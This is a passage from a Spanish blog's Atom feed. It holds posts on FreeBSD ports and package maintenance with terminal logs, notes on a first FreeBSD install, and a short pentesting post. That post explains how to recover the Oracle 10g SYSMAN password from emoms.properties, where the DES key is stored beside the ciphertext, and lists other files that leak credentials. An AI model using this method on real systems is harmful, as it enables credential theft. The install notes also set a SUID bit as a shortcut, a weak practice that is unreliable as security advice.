?&lt;br /&gt;     ? ?                                                                ? ?&lt;br /&gt;     ? ?                                                                ? ?&lt;br /&gt;     ? ?                                                                ? ?&lt;br /&gt;     ? ?                                                                ? ?&lt;br /&gt;     ??????????????????????????????????????????????????????????????????????&lt;br /&gt;     ?                       [  OK  ]       Cancel                        ?&lt;br /&gt;     ??????????????????????????????????????????????????????????????????????&lt;br /&gt;&lt;br /&gt;(...)&lt;br /&gt;&lt;br /&gt;Note that some of the standard libraries are provided as separate&lt;br /&gt;ports since they require extra dependencies:&lt;br /&gt;&lt;br /&gt;        converters/ruby-iconv   iconv module&lt;br /&gt;&lt;br /&gt;        databases/ruby-gdbm:    GDBM module&lt;br /&gt;&lt;br /&gt;        x11-toolkits/ruby-tk:   Tcl/Tk modules&lt;br /&gt;        japanese/ruby-tk:       Tcl/Tk modules for Japanized Tcl/Tk&lt;br /&gt;&lt;br /&gt;        lang/ruby-mode.el:      Emacs lisp modules&lt;br /&gt;&lt;br /&gt;Install them as occasion demands.&lt;br /&gt;====&lt;br /&gt;&lt;br /&gt;===&gt;&gt;&gt; Done displaying pkg-message files&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;&lt;i&gt;En un momento me pidio seleccionar opciones. Yo quite IPv6, yo no lo uso&lt;br /&gt;&lt;br /&gt;Ahora vamos a limpiar archivos innecesarios&lt;br /&gt;&lt;br /&gt;Ala, como en gentoo, el make clean limpia todo menos distfiles...&lt;/i&gt;&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[root@fbsd7 ~]# portmaster --clean-distfiles&lt;/b&gt;&lt;br /&gt;===&gt;&gt;&gt; Gathering distinfo list for installed ports&lt;br /&gt;===&gt;&gt;&gt; Checking for stale distfiles&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;&lt;i&gt;Vaya, pues no, aqui en FreeBSD parece que tenemos todo OK&lt;/i&gt;&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[root@fbsd7 ~]# ls /usr/ports/distfiles&lt;/b&gt;&lt;br /&gt;KDE&lt;br /&gt;MesaLib-7.0.3.tar.bz2&lt;br /&gt;aspell-0.60.6.tar.gz&lt;br /&gt;(...)&lt;br /&gt;tiff-3.8.2.tar.gz&lt;br /&gt;xorg&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;&lt;i&gt;pues aqui hay cosas... borrara los no referenciados&lt;br /&gt;&lt;br /&gt;alguien lo puede asegurar?&lt;br /&gt;&lt;br /&gt;Ahora vamos a limpiar paquetes huerfanos con una herramienta de la suite portupgrade&lt;/i&gt;&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[root@fbsd7 /usr/ports]# pkg_add -r portupgrade&lt;/b&gt;&lt;br /&gt;Fetching ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-7.0-release/Latest/portupgrade.tbz... Done.&lt;br /&gt;Fetching ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-7.0-release/All/ruby18-bdb-0.6.2.tbz... Done.&lt;br /&gt;pkg_add: warning: package 'ruby18-bdb-0.6.2' requires 'ruby-1.8.6.111_1,1', but 'ruby-1.8.6.287,1' is installed&lt;br /&gt;pkg_add: warning: package 'portupgrade-2.3.1,2' requires 'ruby-1.8.6.111_1,1', but 'ruby-1.8.6.287,1' is installed&lt;br /&gt;&lt;br /&gt;(...)&lt;br /&gt;------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;&lt;i&gt;Vamos a ver si hay mucha diferencia entre el paquete instalado como binario al paquete de los ports&lt;/i&gt;&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[root@fbsd7 /usr/ports]# pkg_version -v -s portupgrade&lt;/b&gt;&lt;br /&gt;portupgrade-2.3.1,2                 &lt;   needs updating (port has 2.4.6,2)&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;&lt;i&gt;Bueno, actualicemos&lt;br /&gt;&lt;br /&gt;Pero primero a ver cuanto ocupa&lt;/i&gt;&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[root@fbsd7 /usr/ports]# pkg_info -rs portupgrade*&lt;/b&gt;&lt;br /&gt;Information for portupgrade-2.3.1,2:&lt;br /&gt;&lt;br /&gt;Depends on:&lt;br /&gt;Dependency: ruby-1.8.6.111_1,1&lt;br /&gt;Dependency: perl-5.8.8_1&lt;br /&gt;Dependency: db41-4.1.25_4&lt;br /&gt;Dependency: ruby18-bdb-0.6.2&lt;br /&gt;Package Size:&lt;br /&gt;699     (1K-blocks)&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;&lt;i&gt;Poco y las dependencias creo que las tenemos todas o casi todas&lt;/i&gt;&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[root@fbsd7 /usr/ports]# portmaster -b portupgrade-2.3.1,2&lt;/b&gt;&lt;br /&gt;===&gt;&gt;&gt; Port to upgrade: portupgrade-2.3.1,2&lt;br /&gt;===&gt;&gt;&gt; Port directory: /usr/ports/ports-mgmt/portupgrade&lt;br /&gt;===&gt;&gt;&gt; Gathering distinfo list for installed ports&lt;br /&gt;===&gt;&gt;&gt; Launching 'make checksum' for ports-mgmt/portupgrade in background&lt;br /&gt;cd /usr/ports/ports-mgmt/portupgrade &amp;&amp; make config;&lt;br /&gt;&lt;br /&gt;     ??????????????????????????????????????????????????????????????????????&lt;br /&gt;     ?                 Options for portupgrade 2.4.6,2                    ?&lt;br /&gt;     ? ?????????????????????????????????????????????????????????????????? ?&lt;br /&gt;     ? ?           [X] BDB4  Use Berkeley DB &gt;=2 as backend             ? ?&lt;br /&gt;     ? ?           [ ] BDB1  Use Berkeley DB 1.85 as backend            ? ?&lt;br /&gt;     ? ?                                                                ? ?&lt;br /&gt;     ? ?                                                                ? ?&lt;br /&gt;     ? ?                                                                ? ?&lt;br /&gt;     ? ?                                                                ? ?&lt;br /&gt;     ? ?                                                                ? ?&lt;br /&gt;     ? ?                                                                ? ?&lt;br /&gt;     ? ?                                                                ? ?&lt;br /&gt;     ? ?                                                                ? ?&lt;br /&gt;     ? ?                                                                ? ?&lt;br /&gt;     ? ?                                                                ? ?&lt;br /&gt;     ? ?                                                                ? ?&lt;br /&gt;     ? ?                                                                ? ?&lt;br /&gt;     ? ?                                                                ? ?&lt;br /&gt;     ??????????????????????????????????????????????????????????????????????&lt;br /&gt;     ?                       [  OK  ]       Cancel                        ?&lt;br /&gt;     ??????????????????????????????????????????????????????????????????????&lt;br /&gt;&lt;br /&gt;(...)&lt;br /&gt;&lt;br /&gt;===&gt;&gt;&gt; Done displaying pkg-message files&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;&lt;i&gt;Nada, 1 minuto ha tardado&lt;br /&gt;&lt;br /&gt;Borramos cualquier port que no este referenciado por ningun otro port ya&lt;/i&gt;&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[root@fbsd7 /usr/ports]# portsclean -D&lt;/b&gt;&lt;br /&gt;Detecting unreferenced distfiles...&lt;br /&gt;[Updating the portsdb &lt;format:bdb_btree&gt; in /usr/ports ... - 19395 port entries found .........1000.........2000.........3000.........4000.........5000.........6000.........7000.........8000.........9000.........10000.........11000.........12000.........13000.........14000.........15000.........16000.........17000.........18000.........19000... ..... done]&lt;br /&gt;no unreferenced distfiles found.&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;&lt;i&gt;Borramos cualquier archivo de distfiles que no este referenciado por algun paquete instalado actualmente&lt;/i&gt;&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[root@fbsd7 /usr/ports]# portsclean -DD&lt;/b&gt;&lt;br /&gt;Detecting unreferenced distfiles...&lt;br /&gt;[Rebuilding the pkgdb &lt;format:bdb_btree&gt; in /var/db/pkg ... - 400 packages found (-0 +400) ....................................................................................................100....................................................................................................200....................................................................................................300....................................................................................................400 done]&lt;br /&gt;no unreferenced distfiles found.&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;&lt;i&gt;Vaya, parece que tampoco hizo nada. Mi pregunta de antes sobra pues :)&lt;br /&gt;&lt;br /&gt;Y ahora lo mismo pero con los paquetes que no estan referenciados por ningun otro paquete (paquetes muertos)&lt;/i&gt;&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[root@fbsd7 /usr/ports]# pkg_add -r pkg_cutleaves&lt;/b&gt;&lt;br /&gt;Fetching ftp://ftp.freebsd.org/pub/FreeBSD/ports/i386/packages-7.0-release/Latest/pkg_cutleaves.tbz... Done.&lt;br /&gt;&lt;b&gt;[root@fbsd7 /usr/ports]# pkg_version -v -s cutleaves*&lt;/b&gt;&lt;br /&gt;pkg_cutleaves-20071021              &lt;   needs updating (port has 20080320)&lt;br /&gt;&lt;b&gt;[root@fbsd7 /usr/ports]# portmaster -b pkg_cutleaves-20071021&lt;/b&gt;&lt;br /&gt;===&gt;&gt;&gt; Port to upgrade: pkg_cutleaves-20071021&lt;br /&gt;===&gt;&gt;&gt; Port directory: /usr/ports/ports-mgmt/pkg_cutleaves&lt;br /&gt;===&gt;&gt;&gt; Gathering distinfo list for installed ports&lt;br /&gt;===&gt;&gt;&gt; Launching 'make checksum' for ports-mgmt/pkg_cutleaves in background&lt;br /&gt;===&gt;&gt;&gt; Gathering dependency list for ports-mgmt/pkg_cutleaves from ports&lt;br /&gt;===&gt;&gt;&gt; Starting recursive 'make config' check&lt;br /&gt;===&gt;&gt;&gt; Recursive 'make config' check complete for ports-mgmt/pkg_cutleaves&lt;br /&gt;&lt;br /&gt;===&gt;&gt;&gt; Starting build for ports-mgmt/pkg_cutleaves &lt;&lt;&lt;===&lt;br /&gt;&lt;br /&gt;===&gt;&gt;&gt; The 'make config' check revealed no dependencies to update&lt;br /&gt;&lt;br /&gt;===&gt;  Cleaning for pkg_cutleaves-20080320&lt;br /&gt;===&gt;  Extracting for pkg_cutleaves-20080320&lt;br /&gt;===&gt;   pkg_cutleaves-20080320 depends on file: /usr/local/bin/perl5.8.8 - found&lt;br /&gt;/bin/mkdir -p /usr/ports/ports-mgmt/pkg_cutleaves/work&lt;br /&gt;/bin/cp /usr/ports/ports-mgmt/pkg_cutleaves/files/pkg_cutleaves /usr/ports/ports-mgmt/pkg_cutleaves/files/pkg_cutleaves.1 /usr/ports/ports-mgmt/pkg_cutleaves/work&lt;br /&gt;===&gt;  Patching for pkg_cutleaves-20080320&lt;br /&gt;===&gt;   pkg_cutleaves-20080320 depends on file: /usr/local/bin/perl5.8.8 - found&lt;br /&gt;===&gt;   pkg_cutleaves-20080320 depends on file: /usr/local/bin/perl5.8.8 - found&lt;br /&gt;===&gt;  Configuring for pkg_cutleaves-20080320&lt;br /&gt;===&gt;&gt;&gt; pkg_cutleaves-20071021 is not depended on by any other ports&lt;br /&gt;===&gt;&gt;&gt; Creating a backup package for old version pkg_cutleaves-20071021&lt;br /&gt;        ===&gt;&gt;&gt; Package can be found in /usr/ports/packages/All&lt;br /&gt;===&gt;  Installing for pkg_cutleaves-20080320&lt;br /&gt;===&gt;   Generating temporary packing list&lt;br /&gt;===&gt;  Checking if ports-mgmt/pkg_cutleaves already installed&lt;br /&gt;install  -o root -g wheel -m 555 /usr/ports/ports-mgmt/pkg_cutleaves/work/pkg_cutleaves /usr/local/sbin/pkg_cutleaves&lt;br /&gt;install  -o root -g wheel -m 444 /usr/ports/ports-mgmt/pkg_cutleaves/work/pkg_cutleaves.1 /usr/local/man/man1&lt;br /&gt;===&gt;   Compressing manual pages for pkg_cutleaves-20080320&lt;br /&gt;===&gt;   Registering installation for pkg_cutleaves-20080320&lt;br /&gt;===&gt;  Cleaning for pkg_cutleaves-20080320&lt;br /&gt;&lt;br /&gt;===&gt;&gt;&gt; Upgrade for pkg_cutleaves-20071021 to pkg_cutleaves-20080320 succeeded&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Terminated&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;&lt;i&gt;Primero los listamos&lt;/i&gt;&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[root@fbsd7 /usr/ports]# pkg_cutleaves -lc&lt;/b&gt;&lt;br /&gt;BitchX-1.1.0.1_3 - ircII color client with GTK/GNOME support&lt;br /&gt;bash-3.2.25 - The GNU Project's Bourne Again SHell&lt;br /&gt;bigreqsproto-1.0.2 - BigReqs extension headers&lt;br /&gt;elinks-0.11.2_3 - Elinks - links text WWW browser with enhancements&lt;br /&gt;es-kde-i18n-3.5.10 - Spanish messages and documentation for KDE3&lt;br /&gt;gccmakedep-1.0.2 - Create dependencies in makefiles using 'gcc -M'&lt;br /&gt;glproto-1.4.8 - GLX extension headers&lt;br /&gt;imake-1.0.2_4,1 - Imake and other utilities from X.Org&lt;br /&gt;kde-3.5.8 - The "meta-port" for KDE&lt;br /&gt;linux_base-fc-4_10 - Base set of packages needed in Linux mode (for i386/amd64)&lt;br /&gt;makedepend-1.0.1,1 - A dependency generator for makefiles&lt;br /&gt;nasm-2.05.01,1 - General-purpose multi-platform x86 and x86-64 assembler&lt;br /&gt;pkg_cutleaves-20080320 - Interactive script for deinstalling 'leaf' packages&lt;br /&gt;portaudit-0.5.11 - Checks installed ports against a list of security vulnerabilities&lt;br /&gt;portmaster-1.25 - Manage your ports without external databases or languages&lt;br /&gt;portupgrade-2.4.6,2 - FreeBSD ports/packages administration and management tool suite&lt;br /&gt;qmake-3.3.8_1 - The build utility of the Qt project&lt;br /&gt;resourceproto-1.0.2 - Resource extension headers&lt;br /&gt;xcmiscproto-1.1.2 - XCMisc extension headers&lt;br /&gt;xf86bigfontproto-1.1.2 - XFree86-Bigfont extension headers&lt;br /&gt;xorg-7.3_1 - X.Org complete distribution metaport&lt;br /&gt;xorg-cf-files-1.0.2_2 - X.org cf files for use with imake builds&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;&lt;i&gt;Pero esto es normal, yo no quiero jugar con esto. A desinstalar el paquete&lt;/i&gt;&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[root@fbsd7 /usr/ports]# pwd&lt;/b&gt;&lt;br /&gt;/usr/ports&lt;br /&gt;&lt;b&gt;[root@fbsd7 /usr/ports]# cd ports-mgmt/&lt;br /&gt;[root@fbsd7 /usr/ports/ports-mgmt]# pkg_delete -f pkg_cutleaves-20080320&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;&lt;i&gt;Vamos a hacer una vuelta atras, aunque lo desinstalemos despues&lt;/i&gt;&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[root@fbsd7 ~]# find / -name pkg_cutleaves-20071021.tbz&lt;/b&gt;&lt;br /&gt;/usr/ports/packages/All/pkg_cutleaves-20071021.tbz&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;&lt;i&gt;parece ser que solo nos guarda un backup si no tenemos el archivo .tbz en local en /usr/ports/packages&lt;br /&gt;&lt;br /&gt;Porque otros diferentes si los guardo:&lt;/i&gt;&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;[root@fbsd7 ~]# ls /usr/ports/packages/portmaster-backup/&lt;/b&gt;&lt;br /&gt;bash-3.2.25.tbz         libtool-1.5.24.tbz&lt;br /&gt;gettext-0.16.1_3.tbz    png-1.2.22.tbz&lt;br /&gt;&lt;b&gt;[root@fbsd7 ~]#&lt;/b&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-255701265311407532?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=255701265311407532' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/255701265311407532'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/255701265311407532'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/11/freebsd-jugando-con-ports-y-paquetes.html' title='FreeBSD. Jugando con ports y paquetes. Instalacion, actualizacion, auditoria de seguridad'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-7792665171846579666</id><published>2008-11-16T21:21:00.003+01:00</published><updated>2010-01-21T19:56:23.189+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='freeBSD'/><title type='text'>Mi primer dia con FreeBSD</title><content type='html'>Hoy ha sido mi primer dia con FreeBSD, y ahora voy a pasar al blog las notas de mi libreta.&lt;br /&gt;&lt;br /&gt;Sera muy esquematico, pero lo hago antes que para nadie para mi. De todas formas si tienes dudas en algo dejame un comentario y cuando pueda respondere. Pero ten en cuenta que aunque mi experiencia con UNIX es la mitad de mi vida, mi experiencia con FreeBSD es de 1 dia, pero total que.&lt;br /&gt;&lt;br /&gt;Empecemos.&lt;br /&gt;&lt;br /&gt;Bajar la ultima stable de FreeBSD. Solo quiero arrancar, descargare todo lo demas de inet. Minimal 7.0 ISO.&lt;br /&gt;&lt;br /&gt;Keymap nada, yo tengo otra forma mejor de castellanizar FreeBSD.&lt;br /&gt;&lt;br /&gt;All disk. Y aqui un comentario, no sigas esto al pie de la letra, esto ha sido con mis necesidades particulares. Yo quiero dedicar un HD de 80GB entero a FreeBSD, asi que All disk, que se cargue todo, me da igual.&lt;br /&gt;&lt;br /&gt;FreeBSD bootmgr.&lt;br /&gt;&lt;br /&gt;X-User.&lt;br /&gt;&lt;br /&gt;Servidor rapido. Francia.&lt;br /&gt;&lt;br /&gt;IPV6, DHCP. No.&lt;br /&gt;&lt;br /&gt;Progreso instalacion Base + XOrg.&lt;br /&gt;&lt;br /&gt;Solo instalo bash (quiero dar bash como shell por defecto a mi user personal), elinks (quiero navegar en consola en busca de info, y BitchX (quiero IRC for fun&amp;profit).&lt;br /&gt;&lt;br /&gt;GW. No.&lt;br /&gt;&lt;br /&gt;inetd. No, si acaso usare xinetd luego.&lt;br /&gt;&lt;br /&gt;ssh. Si, quiero logearme remotamente.&lt;br /&gt;&lt;br /&gt;Anon FTP, NFS server. No.&lt;br /&gt;&lt;br /&gt;NFS client. Vale, cliente si.&lt;br /&gt;&lt;br /&gt;Customize console. A ver que hay aqui. Cosas inutiles por ahora, pero un momento, salvapantallas... Elijo el Saver Daemon que pone que es only text. Sera mas bonito que mi consola en negro.&lt;br /&gt;&lt;br /&gt;TZ. Yes. UTC. No. Elijo zona horaria.&lt;br /&gt;&lt;br /&gt;Linux bin compatibility. Yes&lt;br /&gt;&lt;br /&gt;mouse. No de momento, el mio es USB de Sun.&lt;br /&gt;&lt;br /&gt;Añadir user. Al grupo wheel (quiero poder hacer su) y shell bash (en FreeBSD esta en /usr/local/bin/bash)&lt;br /&gt;&lt;br /&gt;Passwd root.&lt;br /&gt;&lt;br /&gt;Reinicio y ya tengo una shell.&lt;br /&gt;&lt;br /&gt;Esto parece que va bien. Backup del kernel:&lt;br /&gt;&lt;br /&gt;cp -pR /boot/kernel /boot/kernel.1st&lt;br /&gt;&lt;br /&gt;Añado mi hostname (en FQDN) a /etc/hosts (FreeBSD no me lo añadio) referenciado a 127.0.0.1&lt;br /&gt;&lt;br /&gt;Vamos a por el raton. El mio es USB (auto obligatorio en FreeBSD). Dispositivo /dev/ums0. Tres botones. Edito /etc/rc.conf&lt;br /&gt;&lt;br /&gt;usbd_enable="YES"&lt;br /&gt;moused_flags="-3"&lt;br /&gt;moused_port="/dev/ums0 /dev/sysmouse"&lt;br /&gt;moused_type="auto"&lt;br /&gt;moused_enable="YES"&lt;br /&gt;&lt;br /&gt;Teclado e idioma en castellano. Quiero acentos y ñ:&lt;br /&gt;&lt;br /&gt;Paso de keymaps, aunque FreeBSD me lo añada. Que lo añada, me da igual, yo a lo mio que es mejor.&lt;br /&gt;&lt;br /&gt;Edito /etc/login.conf y creo una clase spanish con la localizacion, y ademas ligada al final a la clase default.&lt;br /&gt;&lt;br /&gt;spanish|Spanish users:\&lt;br /&gt;        :charset=ISO8859-1:\&lt;br /&gt;        :lang=es_ES.ISO8859-1:\&lt;br /&gt;        :tc=default:&lt;br /&gt;&lt;br /&gt;Esto no sirve de nada porque FreeBSD mira un archivo binario resultante de este. Reconstruyo la BD:&lt;br /&gt;&lt;br /&gt;cap_mkdb /etc/login.conf&lt;br /&gt;&lt;br /&gt;Pero al crear mi user personal, no lo añadi a ninguna clase, lo hago ahora a la clase spanish:&lt;br /&gt;&lt;br /&gt;chclass vlan7&lt;br /&gt;&lt;br /&gt;En class pongo spanish.&lt;br /&gt;&lt;br /&gt;Yo reinicie para que login me aceptara los cambios, no me bastaba con cerrar e iniciar sesion. Y asi de paso podia comprobar que las cosas iban por buen camino. Y lo iban.&lt;br /&gt;&lt;br /&gt;Vamos a por el escritorio. KDE.&lt;br /&gt;&lt;br /&gt;pkg_add -r kde&lt;br /&gt;&lt;br /&gt;Esto tarda, me voy a otro terminal y añado KDE como escritorio por defecto para mi user:&lt;br /&gt;&lt;br /&gt;echo "startkde" &gt;~.xinitrc&lt;br /&gt;&lt;br /&gt;Ahora mi solucion para usar raton en consola _Y_ en las X.&lt;br /&gt;&lt;br /&gt;chmod +s /usr/sbin/moused&lt;br /&gt;&lt;br /&gt;Alguien me matara por ponerle bit SUID a esto... pero es mi solucion. Lee hasta el final y dime si tienes algujna mejor ;)&lt;br /&gt;&lt;br /&gt;Edito /usr/local/bin/startx&lt;br /&gt;&lt;br /&gt;Inicio:&lt;br /&gt;vidcontrol -m off (desactivo puntero en consola)&lt;br /&gt;moused -p /dev/sysmouse -t auto (solo asi funcionaba mi raton en las X -de ahi el SUID de antes, esto lo ejecuta vlan7-)&lt;br /&gt;(...)&lt;br /&gt;Final:&lt;br /&gt;killall moused (como antes lo añadi yo, KDE no se entera y no me lo finaliza, tengo que matarlo yo. Tras esto, el moused de la consola permanece ¿por que? porque pertenece a root amigos, y vlan7 no tiene permisos para matar el proceso, asi que todo bien)&lt;br /&gt;vidcontrol -m on (que aparezca el puntero en consola)&lt;br /&gt;&lt;br /&gt;Pues eso, que si alguien tiene una solucion mejor: comentario al canto. Yo jugue con varias opciones, en una de ellas, al salir de KDE, el cursor en consola quedaba moviendose loco...&lt;br /&gt;&lt;br /&gt;Quiero KDE en castellano. Paquete de idioma y teclado -eso dicen, bah- español. Idioma si eh.&lt;br /&gt;&lt;br /&gt;pkg_add -r es-kde-i18n&lt;br /&gt;&lt;br /&gt;startx y puedo poner KDE en castellano.&lt;br /&gt;&lt;br /&gt;KDE no se entera de mi xorg.conf y me mantiene el teclado en ingles. No quiero abrir un terminal cada vez que entre y poner&lt;br /&gt;&lt;br /&gt;setxkbmap -layout es -model pc105&lt;br /&gt;&lt;br /&gt;(105 teclas para que admita la ñ)&lt;br /&gt;&lt;br /&gt;Vaya, siempre se me dieron mal las ventanas. Aun recuerdo el panico a Win95 cuando salio... Pero buscando por KDE, puedo cambiar el teclado en el Centro de Control / Regional / Teclado&lt;br /&gt;&lt;br /&gt;105 teclas (ñ)&lt;br /&gt;Spain&lt;br /&gt;&lt;br /&gt;Ya tengo todo. ¿Todo? No! Me falta mi navegador favorito desde el que os estoy escribiendo. Opera.&lt;br /&gt;&lt;br /&gt;Como no me fio un pelo de los guiris, y quiero mi Opera en castellano, voy a la web de Opera y me bajo el tar.bz2 para FreeBSD 7, que los chicos de Opera dicen que es multilenguaje :)&lt;br /&gt;&lt;br /&gt;Descomprimo.&lt;br /&gt;&lt;br /&gt;./install.sh&lt;br /&gt;&lt;br /&gt;Para el icono, arrastre opera.desktop al escritorio como enlace. Lo busque en algun lugar de /usr/local por *opera*&lt;br /&gt;&lt;br /&gt;Y este es mi primer post desde un FreeBSD. Si yo he tardado un dia, cualquiera con conocimientos mas o menos solidos en otro(s) UNIX deberia poder.&lt;br /&gt;&lt;br /&gt;Ahora, para mi, empieza lo bueno...&lt;br /&gt;&lt;br /&gt;Suerte y Exitos.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-7792665171846579666?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=7792665171846579666' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/7792665171846579666'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/7792665171846579666'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/11/mi-primer-dia-con-freebsd.html' title='Mi primer dia con FreeBSD'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-7849909766541701541</id><published>2008-11-06T04:11:00.007+01:00</published><updated>2011-11-12T17:17:59.900+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><category scheme='http://www.blogger.com/atom/ns#' term='oracle'/><title type='text'>Husmeando en archivos. Hacking Oracle. Passwords almacenados en archivos</title><content type='html'>Haciendo pruebas tras una instalacion de Oracle 10g Release1 y Release2, y usando en *nix greps, awks, seds... en pipes buscando passwords almacenados en archivos, pude ver como el password de &lt;b&gt;SYSMAN&lt;/b&gt; se almacena &lt;b&gt;&lt;font color="#FF0000"&gt;EN TEXTO PLANO&lt;/font&gt;&lt;/b&gt; en el archivo siguiente:&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;$ORACLE_HOME/hostname_sid/sysman/config/emoms.properties&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;En la version 10g Release 2, se usa DES para cifrar el password (madre mia, DES en 2008...). Aunque DES sea hoy en dia un algoritmo de cifrado muy debil, los chicos de Oracle nos ponen las cosas aun mas sencillas, pues el archivo &lt;b&gt;emoms.properties&lt;/b&gt; contiene el mismo la clave de descifrado (sin comentarios), asi que un atacante aun puede de manera muy sencilla obtener el password. Simplemente fijate en las propiedades &lt;b&gt;emdRepPwd&lt;/b&gt; y &lt;b&gt;empRepPwdSeed&lt;/b&gt; e inserta sus valores en tu herramienta DES favorita y voila, ante ti tienes en un instante el password.&lt;br /&gt;&lt;br /&gt;Otros lugares donde encontre informacion sensible fueron:&lt;br /&gt;&lt;br /&gt;&lt;font color="#FF0000"&gt;&lt;b&gt;$ORACLE_HOME/cfgtoollogs/cfgfw/CfmLogger_install_date.log&lt;br /&gt;$ORACLE_HOME/cfgtoollogs/cfgfw/oracle.assistants.server_install_date.log&lt;br /&gt;$ORACLE_HOME/cfgtoollogs/configToolAllCommands&lt;br /&gt;$ORACLE_HOME/inventory/Components21/oracle.assistants.server.10_2_0_1_0.CFM.1.inst.xml&lt;/b&gt;&lt;/font&gt;&lt;br /&gt;&lt;br /&gt;Suerte,&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/23164839-7849909766541701541?l=www.vlan7.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=23164839&amp;postID=7849909766541701541' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/7849909766541701541'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/23164839/posts/default/7849909766541701541'/><link rel='alternate' type='text/html' href='http://www.vlan7.org/2008/11/hacking-oracle-passwords-almacenados-en.html' title='Husmeando en archivos. Hacking Oracle. Passwords almacenados en archivos'/><author><name>vlan7</name><uri>http://www.blogger.com/profile/03145176222342450897</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='30' src='http://1.bp.blogspot.com/-myv0YT79L5g/TyKKCgjuxkI/AAAAAAAAAQM/uA-auKPQ8kY/s220/blabla.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-23164839.post-3181632143355492312</id><published>2008-10-23T00:13:00.006+02:00</published><updated>2010-08-14T22:55:23.095+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cisco'/><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><category scheme='http://www.blogger.com/atom/ns#' term='HW'/><title type='text'>Hardware hack. Convertir PIX 506E en casi 515E</title><content type='html'>Leo en hack-a-day que basta sustituir la CPU. Abrirlo y meterle un P-III 600MHz. Y en los comentarios un tipo dice que consiguio meterle una imagen reciente del pixOS.&lt;br /&gt;Os dejo el 